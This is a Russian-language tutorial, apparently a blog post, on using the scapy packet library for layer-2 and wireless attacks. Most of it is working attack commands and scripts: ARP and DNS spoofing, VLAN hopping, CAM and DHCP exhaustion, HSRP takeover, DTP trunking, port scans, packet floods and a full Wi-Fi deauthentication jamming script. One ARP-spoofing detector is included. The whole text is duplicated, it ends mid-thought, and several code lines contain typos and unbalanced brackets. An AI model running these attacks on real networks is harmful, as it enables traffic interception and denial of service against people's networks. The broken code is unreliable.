ARP-spoofing
>>> sendp(Ether(dst='targetMAC')/ARP(op='is-at', psrc='gatewayIP', pdst='targetIP', hwsrc='attackerMAC'))
Сформированный таким образом пакет «отравит» arp кэш targetIP. Одна из сильных черт scapy — наглядность, то есть Вам необходимо понимать, что Вы хотите сделать, конечно это может создать некоторые трудности, но зато поможет сформировать целостную картину и защитит от «выстрела в ногу». Например, взглянув на сформированный таким образом пакет, становится понятно, что ARP-spoofing не вылечить с помощью port security потому, что MAC адрес отправителя не меняется, в таком случае нас спасет только arp инспекция. Хотя, давайте попробуем реализовать защиту с использованием scapy. Предположим, что весь трафик коммутатора мы зеркалируем на порт, где у нас будет происходить анализ. Выявлять атаку предлагаю по принципу, если компьютер не отправлял arp запрос, то и arp ответа он получать не должен.
import time
from scapy.all import *
arp_table = {}
def arp_inspection(pkt):
global arp_table
op = pkt.getlayer(ARP).op
src = pkt.getlayer(Ether).src
if op == 1: # op is who-has
arp_table[src] = time.time()
if op == 2: # op is is-at
dst = pkt.getlayer(Ether).dst
if dst in arp_table:
time_arp_req = arp_table.pop(dst, None)
if int(time.time() - time_arp_req) > 5:
print "Alert! Attack from %s" % src
else:
print "Alert! Attack from %s" % src
sniff(filter='arp', prn=arp_inspection)
Скрипт отрабатывает заложенную логику и такие программы, как например «cain & abel» не смогут бесшумно провести ARP-spoofing. Но мы с Вами знаем, что есть особенности реализации arp в некоторых операционных системах, а именно если компьютеру приходит arp запрос с просьбой сообщить информацию о себе, он автоматически доверяет ему и заносит соответствие ip-mac отправителя к себе в таблицу. Т.е. следующий пакет так же «отравит» arp кэш.
>>> sendp(Ether(dst='targetMAC')/ARP(op='who-has', psrc='gatewayIP', pdst='targetIP'))
В этом случае наш скрипт не будет эффективен. Получается, что работая со scapy Вы изучаете не только программу, но и сами протоколы, их логику.
VLAN Hooping
>>> send(Dot1Q(vlan=1)/Dot1Q(vlan=2)/IP(dst='targetIP')/ICMP()
Следующим достоинством scapy, считаю — гибкость. Классическим примером(гибкости) является ситуация, когда нам необходимо произвести arp-spoofing в соседнем vlan, нам не придется писать новую программу, надо правильно собрать пакет.
>>> sendp(Ether(dst='clientMAC')/Dot1Q(vlan=1)/Dot1Q(vlan=2)/ARP(op='who-has', psrc='gatewayIP', pdst='clientIP'))
Конечно, такой «финт ушами» сработает если разделения на vlan будет внутри одного широковещательного домена.
CAM Table Overflow
>>> sendp(Ether(src=RandMAC())/IP(dst='gatewayIP')/ICMP(), loop=1)
RandMAC() — функция возвращает произвольное значение, в формате MAC адреса; параметр loop — зацикливает отправку, что в итоге приводит к исчерпанию буфера таблицы коммутатора. Наверное, это пример простоты реализации некоторых атак.
Больше примеров
Далее я покажу примеры практически без описания, они просты и, возможно, некоторые из них послужат отправной точкой для использования scapy в Вашей работе. Например, исчерпание DHCP пула выглядит следующим образом.
>>> sendp(Ether(src=RandMAC(),dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP(chaddr=RandMAC())/DHCP(options=[("message-type","discover"),"end"]), loop=1)
DNS-spoofing реализуется так.
send(IP(dst='dnsserverIP'/UDP(dport=53)/DNS(qd=DNSQR(qname="google.com")))
HSRP spoofing
sendp(Ether(src=’00:00:0C:07:AC:02’, dst=’01:00:5E:00:00:02’ )/IP(dst=’224.0.0.2’, src='attacerIP', ttl=1)/UDP()/HSRP(priority=230, virtualIP='virtualIP'), inter=3, loop=1)
src mac – HSRP virtual MAC (возможный диапазон 00:00:0C:9F:F0:00 — 00:00:0C:9F:FF:FF); dst mac – IP v4 multicast MAC (возможный диапазон 01:00:5E:00:00:00 — 01:00:5E:00:00:FF); ip dst – ipv4 multicast address (224.0.0.0/24); priority – приоритет маршрута, значения от 0 до 255; inter=3 — в соответствии с интервалом по умолчанию на оборудовании cisco; все остальные настройки, аналогичны настройкам по умолчанию оборудования cisco. Такой пакет сделает attacerIP активным HSRP маршрутом.
Различные способы сканирование портов.
>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="S")) # SYN
>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="A")) # ACK
>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="FPU")) # Xmas
Посмотреть результат можно таким образом.
if res.getlayer(TCP).flags == 0x12:
print "Open"
elif res.getlayer(TCP).flags == 0x14:
print "Close"
Или так.
>>> res, unres = sr(IP(dst='targetIP')/TCP(dport=[443, 80, 22], flags="S"))
>>> res.summary(lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%")
https RA
www SA
ssh RA
Следующая положительная особенность scapy — возможность создавать протоколы самостоятельно.Протокол DTP не реализован в рамках штатного набора, зато его можно загрузить как модуль.
>>> load_contrib('dtp')
Опасность DTP состоит в том, что мы самостоятельно можем перевести порт коммутатора в режим trunk и получить расширенный доступ. Если взглянуть в исходники модуля, то увидим там функцию которая нам поможет включить режим trunk на интерфейсе.
def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):
print "Trying to negotiate a trunk on interface %s" % iface
p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
sendp(p)
Вместе с загрузкой протокола DTP, мы загружаем и функцию negotiate_trunk, можем её выполнить прямо из консоли интерпретатора и результат не заставит себя долго ждать.
>>> negotiate_trunk()
802.11
Scapy может успешно работать с беспроводными сетями, в большинстве функционала способен заменить Aircrack-ng. Например, посмотреть список доступных сетей можно так.
from scapy.all import *
ap_list = []
def ssid(pkt) :
if pkt.haslayer(Dot11) :
if pkt.type == 0 and pkt.subtype == 8: # type 0 subtype 8 - Beacon packet type
if pkt.addr2 not in ap_list:
ap_list.append(pkt.addr2)
print "AP: %s SSID: %s" % (ptk.addr2, ptk.info)
sniff(iface='mon0', prn=ssid)
Довольно просто, давайте что-нибудь посложнее. Предположим, что Вам поставлена задача не допустить работы беспроводных устройств на контролируемой территории. Каким образом это организовать, если не прибегать к радиочастотным глушителям? Одним из вариантов может являться подавление работы устройств пользователей. Организовать это можно путем отправки клиентам Deauth пакета.
Скрипт широковещательной отправки Deauth пакетов
from scapy.all import *
import random, time, sys
from multiprocessing import Process
iface='mon0'
def wifi_snif():
pkt = sniff(iface=iface, timeout=1, lfilter= lambda x: x.haslayer(Dot11Beacon) or x.haslayer(Dot11ProbeResp))
u_pkt = []
u_addr2 = []
for p in pkt:
if p.addr2 not in u_addr2:
u_pkt.append(p)
u_addr2.append(p.addr2)
return u_pkt
def deauth(pkt):
os.system("iw dev %s set channel %d" % (iface, ord(pkt[Dot11Elt:3].info)))
sendp(RadioTap()/Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=pkt.addr2, addr3=pkt.addr3)/Dot11Deauth(),count=4, iface=iface, verbose=0)
def chg_cnl():
while True:
cnl = random.randrange(1,12)
os.system("iw dev %s set channel %d" % (iface, cnl))
time.sleep(0.3)
def main_fnc():
p = Process(target=chg_cnl)
p.start()
pkt_ssid = wifi_snif()
p.terminate()
for pkt in pkt_ssid:
deauth(pkt)
while 1:
main_fnc()
Начинающие исследователи могут упростить подход к задачам фаззинга протоколов, в scapy реализован простейший функционал. Например, простейший фаззинг Beacon пакетов может выглядеть так.
>>>sendp(RadioTap(version=0, pad=0)/
Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2='00:c0:ca:76:3d:33', addr3='00:c0:ca:76:3d:33')/
Dot11Beacon(cap="ESS") /
fuzz(Dot11Elt(ID="SSID"))/
fuzz(Dot11Elt(ID="Rates")/
fuzz(ID="DSset"))/
fuzz(Dot11Elt(ID="TIM")),
iface="mon0", count=10, inter=0.05, verbose=0)
Нагрузочное тестирование
Последним в списке примеров, но далеко не последним по значению, у меня будет использование scapy для проведения нагрузочного тестирования на каналы связи. Я в этом вопросе не специалист и возможно объём генерируемого трафика не самый важный параметр, но все же. В scapy это делается просто, как и многое другое.
>>> sendpfast((Ether(dst='targetMAC')/IP(dst='targetIP')/ICMP('A'*100)*100, loop=1000)
По выполнению команды, должен появится подобный результат.
>>> sendp(Ether(dst='targetMAC')/ARP(op='is-at', psrc='gatewayIP', pdst='targetIP', hwsrc='attackerMAC'))
Сформированный таким образом пакет «отравит» arp кэш targetIP. Одна из сильных черт scapy — наглядность, то есть Вам необходимо понимать, что Вы хотите сделать, конечно это может создать некоторые трудности, но зато поможет сформировать целостную картину и защитит от «выстрела в ногу». Например, взглянув на сформированный таким образом пакет, становится понятно, что ARP-spoofing не вылечить с помощью port security потому, что MAC адрес отправителя не меняется, в таком случае нас спасет только arp инспекция. Хотя, давайте попробуем реализовать защиту с использованием scapy. Предположим, что весь трафик коммутатора мы зеркалируем на порт, где у нас будет происходить анализ. Выявлять атаку предлагаю по принципу, если компьютер не отправлял arp запрос, то и arp ответа он получать не должен.
import time
from scapy.all import *
arp_table = {}
def arp_inspection(pkt):
global arp_table
op = pkt.getlayer(ARP).op
src = pkt.getlayer(Ether).src
if op == 1: # op is who-has
arp_table[src] = time.time()
if op == 2: # op is is-at
dst = pkt.getlayer(Ether).dst
if dst in arp_table:
time_arp_req = arp_table.pop(dst, None)
if int(time.time() - time_arp_req) > 5:
print "Alert! Attack from %s" % src
else:
print "Alert! Attack from %s" % src
sniff(filter='arp', prn=arp_inspection)
Скрипт отрабатывает заложенную логику и такие программы, как например «cain & abel» не смогут бесшумно провести ARP-spoofing. Но мы с Вами знаем, что есть особенности реализации arp в некоторых операционных системах, а именно если компьютеру приходит arp запрос с просьбой сообщить информацию о себе, он автоматически доверяет ему и заносит соответствие ip-mac отправителя к себе в таблицу. Т.е. следующий пакет так же «отравит» arp кэш.
>>> sendp(Ether(dst='targetMAC')/ARP(op='who-has', psrc='gatewayIP', pdst='targetIP'))
В этом случае наш скрипт не будет эффективен. Получается, что работая со scapy Вы изучаете не только программу, но и сами протоколы, их логику.
VLAN Hooping
>>> send(Dot1Q(vlan=1)/Dot1Q(vlan=2)/IP(dst='targetIP')/ICMP()
Следующим достоинством scapy, считаю — гибкость. Классическим примером(гибкости) является ситуация, когда нам необходимо произвести arp-spoofing в соседнем vlan, нам не придется писать новую программу, надо правильно собрать пакет.
>>> sendp(Ether(dst='clientMAC')/Dot1Q(vlan=1)/Dot1Q(vlan=2)/ARP(op='who-has', psrc='gatewayIP', pdst='clientIP'))
Конечно, такой «финт ушами» сработает если разделения на vlan будет внутри одного широковещательного домена.
CAM Table Overflow
>>> sendp(Ether(src=RandMAC())/IP(dst='gatewayIP')/ICMP(), loop=1)
RandMAC() — функция возвращает произвольное значение, в формате MAC адреса; параметр loop — зацикливает отправку, что в итоге приводит к исчерпанию буфера таблицы коммутатора. Наверное, это пример простоты реализации некоторых атак.
Больше примеров
Далее я покажу примеры практически без описания, они просты и, возможно, некоторые из них послужат отправной точкой для использования scapy в Вашей работе. Например, исчерпание DHCP пула выглядит следующим образом.
>>> sendp(Ether(src=RandMAC(),dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP(chaddr=RandMAC())/DHCP(options=[("message-type","discover"),"end"]), loop=1)
DNS-spoofing реализуется так.
send(IP(dst='dnsserverIP'/UDP(dport=53)/DNS(qd=DNSQR(qname="google.com")))
HSRP spoofing
sendp(Ether(src=’00:00:0C:07:AC:02’, dst=’01:00:5E:00:00:02’ )/IP(dst=’224.0.0.2’, src='attacerIP', ttl=1)/UDP()/HSRP(priority=230, virtualIP='virtualIP'), inter=3, loop=1)
src mac – HSRP virtual MAC (возможный диапазон 00:00:0C:9F:F0:00 — 00:00:0C:9F:FF:FF); dst mac – IP v4 multicast MAC (возможный диапазон 01:00:5E:00:00:00 — 01:00:5E:00:00:FF); ip dst – ipv4 multicast address (224.0.0.0/24); priority – приоритет маршрута, значения от 0 до 255; inter=3 — в соответствии с интервалом по умолчанию на оборудовании cisco; все остальные настройки, аналогичны настройкам по умолчанию оборудования cisco. Такой пакет сделает attacerIP активным HSRP маршрутом.
Различные способы сканирование портов.
>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="S")) # SYN
>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="A")) # ACK
>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="FPU")) # Xmas
Посмотреть результат можно таким образом.
if res.getlayer(TCP).flags == 0x12:
print "Open"
elif res.getlayer(TCP).flags == 0x14:
print "Close"
Или так.
>>> res, unres = sr(IP(dst='targetIP')/TCP(dport=[443, 80, 22], flags="S"))
>>> res.summary(lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%")
https RA
www SA
ssh RA
Следующая положительная особенность scapy — возможность создавать протоколы самостоятельно.Протокол DTP не реализован в рамках штатного набора, зато его можно загрузить как модуль.
>>> load_contrib('dtp')
Опасность DTP состоит в том, что мы самостоятельно можем перевести порт коммутатора в режим trunk и получить расширенный доступ. Если взглянуть в исходники модуля, то увидим там функцию которая нам поможет включить режим trunk на интерфейсе.
def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):
print "Trying to negotiate a trunk on interface %s" % iface
p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
sendp(p)
Вместе с загрузкой протокола DTP, мы загружаем и функцию negotiate_trunk, можем её выполнить прямо из консоли интерпретатора и результат не заставит себя долго ждать.
>>> negotiate_trunk()
802.11
Scapy может успешно работать с беспроводными сетями, в большинстве функционала способен заменить Aircrack-ng. Например, посмотреть список доступных сетей можно так.
from scapy.all import *
ap_list = []
def ssid(pkt) :
if pkt.haslayer(Dot11) :
if pkt.type == 0 and pkt.subtype == 8: # type 0 subtype 8 - Beacon packet type
if pkt.addr2 not in ap_list:
ap_list.append(pkt.addr2)
print "AP: %s SSID: %s" % (ptk.addr2, ptk.info)
sniff(iface='mon0', prn=ssid)
Довольно просто, давайте что-нибудь посложнее. Предположим, что Вам поставлена задача не допустить работы беспроводных устройств на контролируемой территории. Каким образом это организовать, если не прибегать к радиочастотным глушителям? Одним из вариантов может являться подавление работы устройств пользователей. Организовать это можно путем отправки клиентам Deauth пакета.
Скрипт широковещательной отправки Deauth пакетов
from scapy.all import *
import random, time, sys
from multiprocessing import Process
iface='mon0'
def wifi_snif():
pkt = sniff(iface=iface, timeout=1, lfilter= lambda x: x.haslayer(Dot11Beacon) or x.haslayer(Dot11ProbeResp))
u_pkt = []
u_addr2 = []
for p in pkt:
if p.addr2 not in u_addr2:
u_pkt.append(p)
u_addr2.append(p.addr2)
return u_pkt
def deauth(pkt):
os.system("iw dev %s set channel %d" % (iface, ord(pkt[Dot11Elt:3].info)))
sendp(RadioTap()/Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=pkt.addr2, addr3=pkt.addr3)/Dot11Deauth(),count=4, iface=iface, verbose=0)
def chg_cnl():
while True:
cnl = random.randrange(1,12)
os.system("iw dev %s set channel %d" % (iface, cnl))
time.sleep(0.3)
def main_fnc():
p = Process(target=chg_cnl)
p.start()
pkt_ssid = wifi_snif()
p.terminate()
for pkt in pkt_ssid:
deauth(pkt)
while 1:
main_fnc()
Начинающие исследователи могут упростить подход к задачам фаззинга протоколов, в scapy реализован простейший функционал. Например, простейший фаззинг Beacon пакетов может выглядеть так.
>>>sendp(RadioTap(version=0, pad=0)/
Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2='00:c0:ca:76:3d:33', addr3='00:c0:ca:76:3d:33')/
Dot11Beacon(cap="ESS") /
fuzz(Dot11Elt(ID="SSID"))/
fuzz(Dot11Elt(ID="Rates")/
fuzz(ID="DSset"))/
fuzz(Dot11Elt(ID="TIM")),
iface="mon0", count=10, inter=0.05, verbose=0)
Нагрузочное тестирование
Последним в списке примеров, но далеко не последним по значению, у меня будет использование scapy для проведения нагрузочного тестирования на каналы связи. Я в этом вопросе не специалист и возможно объём генерируемого трафика не самый важный параметр, но все же. В scapy это делается просто, как и многое другое.
>>> sendpfast((Ether(dst='targetMAC')/IP(dst='targetIP')/ICMP('A'*100)*100, loop=1000)
По выполнению команды, должен появится подобный результат.